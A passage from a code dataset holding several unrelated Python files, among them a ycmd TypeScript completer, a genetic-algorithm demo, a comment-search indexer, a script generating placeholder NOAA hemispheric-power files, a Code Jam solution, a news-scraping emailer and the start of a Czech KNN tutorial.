return [ _ConvertCompletionData(e) for e in entries ]\n\n names = []\n namelength = 0\n for e in entries:\n name = e[ 'name' ]\n namelength = max( namelength, len( name ) )\n names.append( name )\n\n detailed_entries = self._SendRequest( 'completionEntryDetails', {\n 'file': request_data[ 'filepath' ],\n 'line': request_data[ 'line_num' ],\n 'offset': request_data[ 'start_codepoint' ],\n 'entryNames': names\n } )\n return [ _ConvertDetailedCompletionData( e, namelength )\n for e in detailed_entries ]\n\n\n def GetSubcommandsMap( self ):\n return {\n 'RestartServer' : ( lambda self, request_data, args:\n self._RestartServer( request_data ) ),\n 'StopServer' : ( lambda self, request_data, args:\n self._StopServer() ),\n 'GoToDefinition' : ( lambda self, request_data, args:\n self._GoToDefinition( request_data ) ),\n 'GoToReferences' : ( lambda self, request_data, args:\n self._GoToReferences( request_data ) ),\n 'GoToType' : ( lambda self, request_data, args:\n self._GoToType( request_data ) ),\n 'GetType' : ( lambda self, request_data, args:\n self._GetType( request_data ) ),\n 'GetDoc' : ( lambda self, request_data, args:\n self._GetDoc( request_data ) ),\n 'RefactorRename' : ( lambda self, request_data, args:\n self._RefactorRename( request_data, args ) ),\n }\n\n\n def OnBufferVisit( self, request_data ):\n filename = request_data[ 'filepath' ]\n self._SendCommand( 'open', { 'file': filename } )\n\n\n def OnBufferUnload( self, request_data ):\n filename = request_data[ 'filepath' ]\n self._SendCommand( 'close', { 'file': filename } )\n\n\n def OnFileReadyToParse( self, request_data ):\n self._Reload( request_data )\n\n\n def _GoToDefinition( self, request_data ):\n self._Reload( request_data )\n try:\n filespans = self._SendRequest( 'definition', {\n 'file': request_data[ 'filepath' ],\n 'line': request_data[ 'line_num' ],\n 'offset': request_data[ 'column_codepoint' ]\n } )\n\n span = filespans[ 0 ]\n return responses.BuildGoToResponseFromLocation(\n _BuildLocation( utils.SplitLines( GetFileContents( request_data,\n span[ 'file' ] ) ),\n span[ 'file' ],\n span[ 'start' ][ 'line' ],\n span[ 'start' ][ 'offset' ] ) )\n except RuntimeError:\n raise RuntimeError( 'Could not find definition' )\n\n\n def _GoToReferences( self, request_data ):\n self._Reload( request_data )\n response = self._SendRequest( 'references', {\n 'file': request_data[ 'filepath' ],\n 'line': request_data[ 'line_num' ],\n 'offset': request_data[ 'column_codepoint' ]\n } )\n return [\n responses.BuildGoToResponseFromLocation(\n _BuildLocation( utils.SplitLines( GetFileContents( request_data,\n ref[ 'file' ] ) ),\n ref[ 'file' ],\n ref[ 'start' ][ 'line' ],\n ref[ 'start' ][ 'offset' ] ),\n ref[ 'lineText' ] )\n for ref in response[ 'refs' ]\n ]\n\n\n def _GoToType( self, request_data ):\n self._Reload( request_data )\n try:\n filespans = self._SendRequest( 'typeDefinition', {\n 'file': request_data[ 'filepath' ],\n 'line': request_data[ 'line_num' ],\n 'offset': request_data[ 'column_num' ]\n } )\n\n span = filespans[ 0 ]\n return responses.BuildGoToResponse(\n filepath = span[ 'file' ],\n line_num = span[ 'start' ][ 'line' ],\n column_num = span[ 'start' ][ 'offset' ]\n )\n except RuntimeError:\n raise RuntimeError( 'Could not find type definition' )\n\n\n def _GetType( self, request_data ):\n self._Reload( request_data )\n info = self._SendRequest( 'quickinfo', {\n 'file': request_data[ 'filepath' ],\n 'line': request_data[ 'line_num' ],\n 'offset': request_data[ 'column_codepoint' ]\n } )\n return responses.BuildDisplayMessageResponse( info[ 'displayString' ] )\n\n\n def _GetDoc( self, request_data ):\n self._Reload( request_data )\n info = self._SendRequest( 'quickinfo', {\n 'file': request_data[ 'filepath' ],\n 'line': request_data[ 'line_num' ],\n 'offset': request_data[ 'column_codepoint' ]\n } )\n\n message = '{0}\\n\\n{1}'.format( info[ 'displayString' ],\n info[ 'documentation' ] )\n return responses.BuildDetailedInfoResponse( message )\n\n\n def _RefactorRename( self, request_data, args ):\n if len( args ) != 1:\n raise ValueError( 'Please specify a new name to rename it to.\\n'\n 'Usage: RefactorRename <new name>' )\n\n self._Reload( request_data )\n\n response = self._SendRequest( 'rename', {\n 'file': request_data[ 'filepath' ],\n 'line': request_data[ 'line_num' ],\n 'offset': request_data[ 'column_codepoint' ],\n 'findInComments': False,\n 'findInStrings': False,\n } )\n\n if not response[ 'info' ][ 'canRename' ]:\n raise RuntimeError( 'Value cannot be renamed: {0}'.format(\n response[ 'info' ][ 'localizedErrorMessage' ] ) )\n\n # The format of the response is:\n #\n # body {\n # info {\n # ...\n # triggerSpan: {\n # length: original_length\n # }\n # }\n #\n # locs [ {\n # file: file_path\n # locs: [\n # start: {\n # line: line_num\n # offset: offset\n # }\n # end {\n # line: line_num\n # offset: offset\n # }\n # ] }\n # ]\n # }\n #\n new_name = args[ 0 ]\n location = responses.Location( request_data[ 'line_num' ],\n request_data[ 'column_num' ],\n request_data[ 'filepath' ] )\n\n chunks = []\n for file_replacement in response[ 'locs' ]:\n chunks.extend( _BuildFixItChunksForFile( request_data,\n new_name,\n file_replacement ) )\n\n return responses.BuildFixItResponse( [\n responses.FixIt( location, chunks )\n ] )\n\n\n def _RestartServer( self, request_data ):\n with self._server_lock:\n self._StopServer()\n self._StartServer()\n # This is needed because after we restart the TSServer it would lose all\n # the information about the files we were working on. This means that the\n # newly started TSServer will know nothing about the buffer we're working\n # on after restarting the server. So if we restart the server and right\n # after that ask for completion in the buffer, the server will timeout.\n # So we notify the server that we're working on the current buffer.\n self.OnBufferVisit( request_data )\n\n\n def _StopServer( self ):\n with self._server_lock:\n if self._ServerIsRunning():\n _logger.info( 'Stopping TSServer with PID {0}'.format(\n self._tsserver_handle.pid ) )\n self._SendCommand( 'exit' )\n try:\n utils.WaitUntilProcessIsTerminated( self._tsserver_handle,\n timeout = 5 )\n _logger.info( 'TSServer stopped' )\n except RuntimeError:\n _logger.exception( 'Error while stopping TSServer' )\n\n self._CleanUp()\n\n\n def _CleanUp( self ):\n utils.CloseStandardStreams( self._tsserver_handle )\n self._tsserver_handle = None\n if not self.user_options[ 'server_keep_logfiles' ]:\n utils.RemoveIfExists( self._logfile )\n self._logfile = None\n\n\n def Shutdown( self ):\n self._StopServer()\n\n\n def DebugInfo( self, request_data ):\n with self._server_lock:\n tsserver = responses.DebugInfoServer( name = 'TSServer',\n handle = self._tsserver_handle,\n executable = PATH_TO_TSSERVER,\n logfiles = [ self._logfile ] )\n\n return responses.BuildDebugInfoResponse( name = 'TypeScript',\n servers = [ tsserver ] )\n\n\ndef _LogLevel():\n return 'verbose' if _logger.isEnabledFor( logging.DEBUG ) else 'normal'\n\n\ndef _ConvertCompletionData( completion_data ):\n return responses.BuildCompletionData(\n insertion_text = completion_data[ 'name' ],\n menu_text = completion_data[ 'name' ],\n kind = completion_data[ 'kind' ],\n extra_data = completion_data[ 'kind' ]\n )\n\n\ndef _ConvertDetailedCompletionData( completion_data, padding = 0 ):\n name = completion_data[ 'name' ]\n display_parts = completion_data[ 'displayParts' ]\n signature = ''.join( [ p[ 'text' ] for p in display_parts ] )\n\n # needed to strip new lines and indentation from the signature\n signature = re.sub( '\\s+', ' ', signature )\n menu_text = '{0} {1}'.format( name.ljust( padding ), signature )\n return responses.BuildCompletionData(\n insertion_text = name,\n menu_text = menu_text,\n kind = completion_data[ 'kind' ]\n )\n\n\ndef _BuildFixItChunkForRange( new_name,\n file_contents,\n file_name,\n source_range ):\n \"\"\" returns list FixItChunk for a tsserver source range \"\"\"\n return responses.FixItChunk(\n new_name,\n responses.Range(\n start = _BuildLocation( file_contents,\n file_name,\n source_range[ 'start' ][ 'line' ],\n source_range[ 'start' ][ 'offset' ] ),\n end = _BuildLocation( file_contents,\n file_name,\n source_range[ 'end' ][ 'line' ],\n source_range[ 'end' ][ 'offset' ] ) ) )\n\n\ndef _BuildFixItChunksForFile( request_data, new_name, file_replacement ):\n \"\"\" returns a list of FixItChunk for each replacement range for the\n supplied file\"\"\"\n\n # On windows, tsserver annoyingly returns file path as C:/blah/blah,\n # whereas all other paths in Python are of the C:\\\\blah\\\\blah form. We use\n # normpath to have python do the conversion for us.\n file_path = os.path.normpath( file_replacement[ 'file' ] )\n file_contents = utils.SplitLines( GetFileContents( request_data, file_path ) )\n return [ _BuildFixItChunkForRange( new_name, file_contents, file_path, r )\n for r in file_replacement[ 'locs' ] ]\n\n\ndef _BuildLocation( file_contents, filename, line, offset ):\n return responses.Location(\n line = line,\n # tsserver returns codepoint offsets, but we need byte offsets, so we must\n # convert\n column = utils.CodepointOffsetToByteOffset( file_contents[ line - 1 ],\n offset ),\n filename = filename )\n","repo_name":"snakeleon/YouCompleteMe-x86","sub_path":"third_party/ycmd/ycmd/completers/typescript/typescript_completer.py","file_name":"typescript_completer.py","file_ext":"py","file_size_in_byte":20929,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"26356882456","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 7 16:41:36 2017\r\n\r\n@author: Р.В. Шамин\r\n\"\"\"\r\n\r\nimport math\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\nimport random as rnd\r\n\r\n# количество генов\r\nN = 5\r\n\r\n# функция, которую будем минимизировать\r\ndef F(x, y, z):\r\n return x*x*(1+math.sin(100*x)) + y*y*(1+math.sin(100*y)) + z*z*(1+math.sin(100*z))\r\n\r\n# вычислить значение гена\r\ndef calc_gen(Gen):\r\n return F(Gen[0], Gen[1], Gen[2])\r\n\r\n# получить результаты всех генов\r\ndef calc_gens(Gens):\r\n res = list()\r\n for gen in Gens:\r\n res.append(calc_gen(gen))\r\n return res\r\n\r\n# найти номер с минимальным значением\r\ndef get_min(Res):\r\n i_min = 0\r\n min_res = Res[i_min]\r\n i = 0\r\n for r in Res:\r\n if r < min_res:\r\n i_min = i\r\n min_res = r\r\n i = i + 1\r\n return i_min\r\n \r\n# сгенерировать новое поколение генов\r\ndef Generate(Gens, Res):\r\n New_Gens = list()\r\n \r\n for i in range(N):\r\n New_Gens.append([0, 0, 0])\r\n \r\n # ищем первый оптимальный \r\n i_min = get_min(Res)\r\n Res[i_min] = 1000 # исключить этот номер из дальнейшего выбора\r\n \r\n # размножаем хромосомы из первого гена\r\n New_Gens[0][0] = Gens[i_min][0]\r\n New_Gens[0][1] = Gens[i_min][1]\r\n New_Gens[1][1] = Gens[i_min][1]\r\n New_Gens[1][2] = Gens[i_min][2]\r\n New_Gens[2][0] = Gens[i_min][0]\r\n New_Gens[2][2] = Gens[i_min][2]\r\n New_Gens[3][1] = Gens[i_min][1]\r\n New_Gens[4][2] = Gens[i_min][2]\r\n \r\n\r\n # ищем второй оптимальный\r\n i_min = get_min(Res)\r\n Res[i_min] = 1000 # ищем первый оптимальный\r\n\r\n # размножаем хромосомы из второго гена\r\n New_Gens[0][2] = Gens[i_min][2]\r\n New_Gens[1][0] = Gens[i_min][0]\r\n New_Gens[2][0] = Gens[i_min][0]\r\n New_Gens[2][2] = Gens[i_min][2]\r\n New_Gens[3][2] = Gens[i_min][2]\r\n New_Gens[4][0] = Gens[i_min][0]\r\n \r\n\r\n # ищем третий оптимальный\r\n i_min = get_min(Res)\r\n \r\n # размножаем хромосомы из третьего гена\r\n New_Gens[3][0] = Gens[i_min][0]\r\n New_Gens[4][2] = Gens[i_min][2]\r\n\r\n # деламем мутацию для трех последних генов\r\n New_Gens[2][0] = New_Gens[2][0] + 0.01 * (0.5 - rnd.random())\r\n New_Gens[2][1] = New_Gens[2][1] + 0.01 * (0.5 - rnd.random())\r\n New_Gens[2][2] = New_Gens[2][2] + 0.01 * (0.5 - rnd.random())\r\n\r\n New_Gens[3][0] = New_Gens[3][0] + 0.2 * (0.5 - rnd.random())\r\n New_Gens[3][1] = New_Gens[3][1] + 0.2 * (0.5 - rnd.random())\r\n New_Gens[3][2] = New_Gens[3][2] + 0.2 * (0.5 - rnd.random())\r\n\r\n New_Gens[4][0] = New_Gens[4][0] + 0.3 * (0.5 - rnd.random())\r\n New_Gens[4][1] = New_Gens[4][1] + 0.3 * (0.5 - rnd.random())\r\n New_Gens[4][2] = New_Gens[4][2] + 0.3 * (0.5 - rnd.random())\r\n\r\n return New_Gens\r\n\r\n\r\n# инициализируем генератор случайных чисел\r\nrnd.seed() \r\n\r\n# создаем начальную популяцию\r\nGens = list()\r\nGens.append([1, 2, 3])\r\nGens.append([-0.5, 1, -4])\r\nGens.append([0.5, 1.5, -1])\r\nGens.append([2, 0.1, -1.5])\r\nGens.append([2, 1.1, -0.05])\r\n\r\n# вычисляем первоначальные реузльтаты\r\nRes = calc_gens(Gens)\r\n\r\n# создаем списки для хранения результатов\r\nSol = list()\r\nSollog = list()\r\n\r\n# главный цикл вычислений\r\nfor i in range(100):\r\n Gens = Generate(Gens, Res) # порождаем новое поколение\r\n Res = calc_gens(Gens) # вычисляем результаты\r\n \r\n # печать лучшего решения\r\n i_min = get_min(Res)\r\n print(Res[i_min])\r\n x = Res[i_min]\r\n Sol.append(x) \r\n Sollog.append(math.log10(abs(x)))\r\n\r\n# рисуем графики \r\nplt.figure(1)\r\nplt.plot(Sol)\r\nplt.grid(True)\r\nplt.xlabel(\"Time\")\r\nplt.ylabel(\"Solution\")\r\nplt.show()\r\n\r\nplt.figure(2)\r\nplt.plot(Sollog)\r\nplt.grid(True)\r\nplt.xlabel(\"Time\")\r\nplt.ylabel(\"Solution\")\r\nplt.show()\r\n","repo_name":"rwsh/AI-GenSimple3","sub_path":"GenSimple3.py","file_name":"GenSimple3.py","file_ext":"py","file_size_in_byte":4307,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17313723976","text":"import os\n\nfrom cse.indexing.PostingIndexWriter import PostingIndexWriter\nfrom cse.indexing.ReplyToIndexWriter import ReplyToIndexWriter\nfrom cse.indexing.DocumentMap import DocumentMap\nfrom cse.indexing.DocumentMapBuilder import DocumentMapBuilder\nfrom cse.reader import CommentReader\n\nfrom cse.indexing.commons import (\n POSTING_DICT_NAME,\n POSTING_LISTS_NAME,\n REPLYTO_DICT_NAME,\n REPLYTO_LISTS_NAME,\n DOCUMENT_MAP_NAME,\n DOCUMENT_MAP_DICT_NAME\n)\n\n\nclass FileIndexer(object):\n\n\n def __init__(self, directory, commentsFilename, articleFilename, authorFilename, preprocessor):\n self.__directory = directory\n self.__prep = preprocessor\n self.__documentMapPath = os.path.join(directory, DOCUMENT_MAP_NAME)\n self.__documentMapDictPath = os.path.join(directory, DOCUMENT_MAP_DICT_NAME)\n self.__dictionaryPath = os.path.join(directory, POSTING_DICT_NAME)\n self.__postingListsPath = os.path.join(directory, POSTING_LISTS_NAME)\n self.__replyToDictPath = os.path.join(directory, REPLYTO_DICT_NAME)\n self.__replyToListsPath = os.path.join(directory, REPLYTO_LISTS_NAME)\n self.__commentsFilePath = os.path.join(directory, commentsFilename)\n self.__articleFilePath = os.path.join(directory, articleFilename)\n self.__authorsFilePath = os.path.join(directory, authorFilename)\n\n\n def index(self):\n # cleanup\n self.__deletePreviousIndexFiles()\n\n # setup index writers\n pIndex = PostingIndexWriter(self.__dictionaryPath, self.__postingListsPath)\n rIndex = ReplyToIndexWriter(self.__replyToDictPath, self.__replyToListsPath)\n documentMap = DocumentMapBuilder(self.__documentMapPath, self.__documentMapDictPath)\n\n # start indexing the comments file\n #print(\"Starting indexing...\")\n with CommentReader(self.__commentsFilePath, self.__articleFilePath, self.__authorsFilePath) as dataFile:\n lastPointer = None\n for data in dataFile:\n if lastPointer == None:\n lastPointer = dataFile.startSeekPointer()\n\n # update document map\n documentMap.insert(data[\"commentId\"], lastPointer)\n # index comment text tokens\n tokens = self.__processComment(pIndex, data[\"commentId\"], data[\"comment_text\"])\n pIndex.incDocumentCounter()\n # index comment parent-child structure\n cid = data[\"commentId\"]\n parentCid = data[\"parent_comment_id\"]\n if parentCid and parentCid != cid:\n rIndex.insert(parentCid, cid)\n\n lastPointer = dataFile.currentSeekPointer()\n\n #print(\"Saving index...\")\n documentMap.close()\n pIndex.close()\n rIndex.close()\n\n\n def indexPostingList(self):\n # cleanup\n self.__deletePreviousIndexFiles(replyToLists=False)\n\n # setup index writers\n pIndex = PostingIndexWriter(self.__dictionaryPath, self.__postingListsPath)\n documentMap = DocumentMapBuilder(self.__documentMapPath, self.__documentMapDictPath)\n\n # start indexing the comments file\n #print(\"Starting indexing...\")\n with CommentReader(self.__commentsFilePath, self.__articleFilePath, self.__authorsFilePath) as dataFile:\n lastPointer = None\n for data in dataFile:\n if lastPointer == None:\n lastPointer = dataFile.startSeekPointer()\n\n # update document map\n documentMap.insert(data[\"commentId\"], lastPointer)\n # index comment text tokens\n tokens = self.__processComment(pIndex, data[\"commentId\"], data[\"comment_text\"])\n pIndex.incDocumentCounter()\n\n lastPointer = dataFile.currentSeekPointer()\n\n #print(\"Saving index...\")\n documentMap.close()\n pIndex.close()\n pIndex = None\n\n\n def indexReplyToList(self):\n # cleanup\n self.__deletePreviousIndexFiles(documentMap=False, postingLists=False)\n\n # setup index writers\n rIndex = ReplyToIndexWriter(self.__replyToDictPath, self.__replyToListsPath)\n\n # start indexing the comments file\n #print(\"Starting indexing...\")\n with CommentReader(self.__commentsFilePath, self.__articleFilePath, self.__authorsFilePath) as dataFile:\n lastPointer = None\n for data in dataFile:\n if lastPointer == None:\n lastPointer = dataFile.startSeekPointer()\n\n # index comment parent-child structure\n cid = data[\"commentId\"]\n parentCid = data[\"parent_comment_id\"]\n if parentCid and parentCid != cid:\n rIndex.insert(parentCid, cid)\n lastPointer = dataFile.currentSeekPointer()\n\n #print(\"Saving index...\")\n rIndex.close()\n rIndex = None\n\n\n def __deletePreviousIndexFiles(self, documentMap=True, postingLists=True, replyToLists=True):\n if documentMap and os.path.exists(self.__documentMapPath):\n os.remove(self.__documentMapPath)\n\n if postingLists and os.path.exists(self.__dictionaryPath):\n os.remove(self.__dictionaryPath)\n\n if postingLists and os.path.exists(self.__postingListsPath):\n os.remove(self.__postingListsPath)\n\n if replyToLists and os.path.exists(self.__replyToDictPath):\n os.remove(self.__replyToDictPath)\n\n if replyToLists and os.path.exists(self.__replyToListsPath):\n os.remove(self.__replyToListsPath)\n\n\n def __processComment(self, index, cid, comment):\n tokenTuples = self.__prep.processText(comment)\n tokens = len(tokenTuples)\n\n tokenPositionsDict = {}\n for token, position in tokenTuples:\n positionList = tokenPositionsDict.get(token, [])\n positionList.append(int(position))\n tokenPositionsDict[token] = positionList\n\n for token in tokenPositionsDict:\n positionsList = tokenPositionsDict[token]\n # already sorted:\n #positionsList.sort()\n index.insert(token, cid, tokens, positionsList)\n\n return tokens\n\n\n\nif __name__ == \"__main__\":\n import time\n from cse.lang import PreprocessorBuilder\n from cse.SearchEngine import CustomPpStep\n prep = (\n PreprocessorBuilder()\n .useNltkTokenizer()\n .useNltkStopwordList()\n .usePorterStemmer()\n .addCustomStepToEnd(CustomPpStep())\n .build()\n )\n\n start = time.process_time()\n FileIndexer(\".\", \"comments.csv\", \"articles.csv\", \"authors.csv\", prep).indexPostingList()\n print(\"MainPostingList build finished. Starting Replyto index.\")\n FileIndexer(\".\", \"comments.csv\", \"articles.csv\", \"authors.csv\", prep).indexReplyToList()#index()\n #FileIndexer(\".\", \"comments.csv\", \"articles.csv\", \"authors.csv\", prep).index()\n end = time.process_time()\n\n print(\"==========================================\")\n print(\"elapsed time:\", end - start, \"secs\")\n\n \"\"\"\n # test document map and comment reading\n dm = DocumentMap(os.path.join(\"data\", \"documentMap.index\")).open()\n print(dm.get(1))\n\n reader = CommentReader(os.path.join(\"data\", \"comments.data\"), os.path.join(\"data\", \"articleMapping.data\"), os.path.join(\"data\", \"authorMapping.data\")).open()\n start = time.process_time()\n for i in range(0, 10000, 100):\n reader.readline(dm.get(i))\n end = time.process_time()\n withoutArticleMapping = end -start\n\n start = time.process_time()\n for i in range(0, 10000, 100):\n reader.readline(dm.get(i), skipArticleMapping=False)\n end = time.process_time()\n withArticleMapping = end -start\n\n print(\"==========================================\")\n print(\"timings for loading 100 comments from different positions (seeking)\")\n print(\"\\nelapsed time without article mapping:\")\n print(\"\\t\", withoutArticleMapping, \"secs\")\n print(\"\\nelapsed time with article mapping:\")\n print(\"\\t\", withArticleMapping, \"secs\")\n \"\"\"\n","repo_name":"CodeLionX/CommentSearchEngine","sub_path":"cse/indexing/FileIndexer.py","file_name":"FileIndexer.py","file_ext":"py","file_size_in_byte":8155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25376780955","text":"#!/usr/bin/env python\n\n# Author: Dogacan S. Ozturk\n\nimport os\nimport argparse\nimport datetime as dt\nimport numpy as np\n\ntry:\n from spacepy.pybats import kyoto\nexcept ModuleNotFoundError:\n print('Spacepy not found. If using SME data, please pass it as a numpy array or a list to calculate_hp_from_ae.')\n\ndef calculate_hp_from_ae(ae):\n '''\n HP is in GW.\n AE is in nT.\n Formula taken from Wu et al, 2021. https://doi.org/10.1029/2020SW002629\n '''\n hp = 0.102*ae + 8.953\n return hp\n\ndef write_derived_hp(time_array, hp, output_filename = \"empty\"):\n\n if (output_filename == \"empty\"):\n \n savedir = './hp_from_ae'\n if not os.path.exists(savedir):\n os.mkdir(savedir)\n output_filename = savedir + \\\n 'power_from_ae_{0:%Y%m%d}'.format(time_array[0]) + \\\n '_to_{0:%Y%m%d}.txt'.format(time_array[-1])\n\n output_file = open(output_filename, 'w')\n\n fmt_line = '{0:%Y-%m-%d} {0:%H:%M:%S} NOAA-17 (N) 6{1:7.2f} 0.75\\n'\n ntimes = len(time_array)\n \n output_file.write(':Data_list: '+output_filename+'\\n'.format(time_array[0]))\n output_file.write(':Created: {0:%a %b %d %H:%M:%S UTC %Y\\n}'.format(dt.datetime.now()))\n output_file.write('# This file is created to replicate NOAA HPI files created before 2013.\\n')\n output_file.write('# Please use with caution as Sat number, hemisphere, activity level, and normalizing factors are placeholders.\\n')\n output_file.write('#\\n')\n output_file.write('# Source: AE or SME index.\\n')\n output_file.write('# Units: gigawatts\\n\\n')\n output_file.write('# Format:\\n\\n')\n output_file.write('# Each line is formatted as in this example:\\n\\n')\n output_file.write('# 2006-09-05 00:54:25 NOAA-16 (S) 7 29.67 0.82\\n\\n')\n output_file.write('# A19 Date and UT at the center of the polar pass as YYYY-MM-DD hh:mm:ss\\n')\n output_file.write('# 1X (Space)\\n')\n output_file.write('# A7 NOAA POES Satellite number\\n')\n output_file.write('# 1X (Space)\\n')\n output_file.write('# A3 (S) or (N) - hemisphere\\n')\n output_file.write('# I3 Hemispheric Power Index (activity level)\\n')\n output_file.write('# F7.2 Estimated Hemispheric Power in gigawatts\\n')\n output_file.write('# F7.2 Normalizing factor\\n\\n')\n \n for i in range(ntimes):\n output_file.write(fmt_line.format(time_array[i], hp[i]))\n \n output_file.close()\n\n#__________________________________________________________________________#\n# To use the code and generate a fake HPI file modify the dates below. #\n#__________________________________________________________________________#\nif __name__ == '__main__':\n\n t_start = dt.datetime(2018,8,1)\n t_end = dt.datetime(2018,9,1)\n\n try:\n ae_data = kyoto.aefetch(t_start, t_end)\n ae = kyoto.KyotoAe(ae_data)\n hp = calculate_hp_from_ae(ae['ae'])\n write_derived_hp(ae['time'], hp)\n \n except AttributeError:\n print('Spacepy Kyoto library not found. For SME derived fake HPI, use standalone functions in this file.')\n\n\n\n","repo_name":"aaronjridley/GITM","sub_path":"srcPython/create_fake_noaa_hpi_input.py","file_name":"create_fake_noaa_hpi_input.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"61"} +{"seq_id":"7089305534","text":"import time\nfrom pathlib import Path\nfrom bs4 import BeautifulSoup\nimport requests\nfrom typing import List, Any\nfrom smtplib import SMTP_SSL\nfrom email.mime.text import MIMEText\nimport yaml\nimport argparse\nfrom urllib.parse import urljoin\n\n\nclass Article:\n def __init__(self) -> None:\n self.title = ''\n self.content = ''\n self.url = ''\n self.time: int = 0\n\n\nclass Config:\n def __init__(self, config_path) -> None:\n if(not config_path.exists()):\n raise FileNotFoundError(\"not found config path\")\n\n with open(config_path, 'r', encoding=\"utf-8\") as config_f:\n config = yaml.load(config_f, Loader=yaml.FullLoader)\n self.url = config['url']\n self.keys = config['keys']\n self.email_from = config['email_from']\n self.email_to = config['email_to']\n self.email_smtp = config['email_smtp']\n self.email_smtp_port = config['email_smtp_port']\n self.email_user = config['email_user']\n self.email_password = config['email_password']\n\n\ndef fetch_sz_csse_news(url: str) -> List[Article]:\n resp = requests.get(url)\n resp.encoding = 'utf-8'\n soup = BeautifulSoup(resp.text, 'html.parser')\n articles_html = soup.find(class_=\"articles\")\n\n articles: List[Article] = []\n for link in articles_html.find_all('li'):\n a_html = link.find('a')\n span_html = link.find('span')\n\n article = Article()\n article.title = a_html.text\n article.url = urljoin(url, a_html.get('href'))\n article.time = int(time.mktime(time.strptime(\n span_html.text.split('|', 1)[1].strip(), '%Y-%m-%d')))\n articles.append(article)\n\n return articles\n\n\ndef get_last_update_time() -> int:\n time_file = Path('./.time.txt')\n if(not time_file.exists()):\n return 0\n\n with open(time_file, 'r') as time_f:\n return int(time_f.readline().strip())\n\n\ndef set_last_update_time(last_update_time: int) -> None:\n time_file = Path('./.time.txt')\n\n with open(time_file, 'w') as time_f:\n time_f.write(str(last_update_time))\n\n\ndef filter_articles(articles: List[Article], keys: List[str]) -> List[Article]:\n last_update_time = get_last_update_time()\n\n article_max_update_time = last_update_time\n filter_articles: List[Article] = []\n for article in articles:\n if(article.time <= last_update_time):\n continue\n\n if(article_max_update_time < article.time):\n article_max_update_time = article.time\n\n for key in keys:\n if(key in article.title):\n filter_articles.append(article)\n\n set_last_update_time(article_max_update_time)\n return filter_articles\n\n\ndef fetch_article_content(articles: List[Article]) -> List[Article]:\n for article in articles:\n print('fetching article for [%s]' % (article.title))\n resp = requests.get(article.url)\n resp.encoding = 'utf-8'\n article.content = replace_url_for_article(resp.text, article.url)\n\n return articles\n\n\ndef replace_url_for_article(content: str, content_url: str) -> str:\n soup = BeautifulSoup(content, 'html.parser')\n header_html = soup.find(id='header')\n nav_html = soup.find(id='nav')\n imgs_html = soup.find_all('img')\n as_html = soup.find_all('a')\n links_html = soup.find_all('link')\n scripts_html = soup.find_all('script')\n\n for img_html in imgs_html:\n img_html['src'] = urljoin(content_url, img_html.get('src'))\n for a_html in as_html:\n a_html['href'] = urljoin(content_url, a_html.get('href'))\n for link_html in links_html:\n link_html['href'] = urljoin(content_url, link_html.get('href'))\n for script_html in scripts_html:\n script_html['href'] = urljoin(content_url, script_html.get('href'))\n\n header_html.decompose()\n nav_html.decompose()\n\n return str(soup.prettify())\n\n\ndef notify_email(articles: List[Article], config: Any):\n for article in articles:\n msg = MIMEText(article.content, 'html', _charset=\"utf-8\")\n msg[\"Subject\"] = article.title\n msg[\"from\"] = config.email_from\n msg[\"to\"] = config.email_to\n with SMTP_SSL(host=config.email_smtp, port=config.email_smtp_port) as smtp:\n smtp.login(user=config.email_user, password=config.email_password)\n smtp.sendmail(from_addr=config.email_user, to_addrs=[\n config.email_to], msg=msg.as_string())\n\n print(\"send email successed! email title: %s\" % (article.title))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--config', required=True,\n dest='config', help=\"Yaml config file\")\n args = parser.parse_args()\n\n config = Config(Path(args.config))\n\n articles = fetch_sz_csse_news(config.url)\n articles = filter_articles(articles, config.keys)\n articles = fetch_article_content(articles)\n\n notify_email(articles, config)\n","repo_name":"binwan-dev/szu-csse-spider","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23561959131","text":"def main():\n t = int(raw_input())\n for i in range(t):\n n = int(raw_input())\n last_tidy = solve(n)\n print('Case #{}: {}'.format(i + 1, last_tidy))\n\ndef is_tidy(n):\n curr = 9\n while n > 0:\n n, digit = divmod(n, 10)\n if digit > curr:\n return False\n curr = digit\n return True\n\ndef solve(n):\n for i in xrange(n, -1, -1):\n if is_tidy(i):\n return i\n return -1\n\nif __name__ == '__main__':\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/4565.py","file_name":"4565.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39932432889","text":"\"\"\"\nK Nearest Neighbors 1\nZopakuj experiment, ale tentokrát vyber hodnotu parametru n_neighbors na základě metriky precision. Znamená to, že pro nás bude důležité, abychom raději označili pitnou vodu za nepitnou, než nepitnou za pitnou. Raději nebudeme pít vůbec, než abychom se napili nepitné vody a onemocněli.\nV podstatě bude potřeba upravit krok 6. Upravení parametrů modelu. Na základě číselných hodnot nebo grafu vyber tu hodnotu parametru, která dává nejlepší výsledek (nejvyšší hodnotu při volání precision()).\nLiší se tvůj zvolený parametr od parametru, který jsme jako závěrečný zvolili v lekci?\nJak vypadá matice chyb (confusion matrix)? Dovedeš z matice odvodit výpočet, který nám dá stejnou hodnotu, jako při použití metody precision()?\n\"\"\"\n\nimport pandas\nimport requests\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.neighbors import KNeighborsClassifier\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import (accuracy_score, confusion_matrix, f1_score, precision_score, recall_score, ConfusionMatrixDisplay,)\n\n#krok 1 - definice problému\nr = requests.get(\"https://raw.githubusercontent.com/lutydlitatova/czechitas-datasets/main/datasets/water-potability.csv\")\nopen(\"water-potability.csv\", 'wb').write(r.content)\n#Je vodat pitná či není pitná_\n\n#krok 2 - příprava dat\ndata = 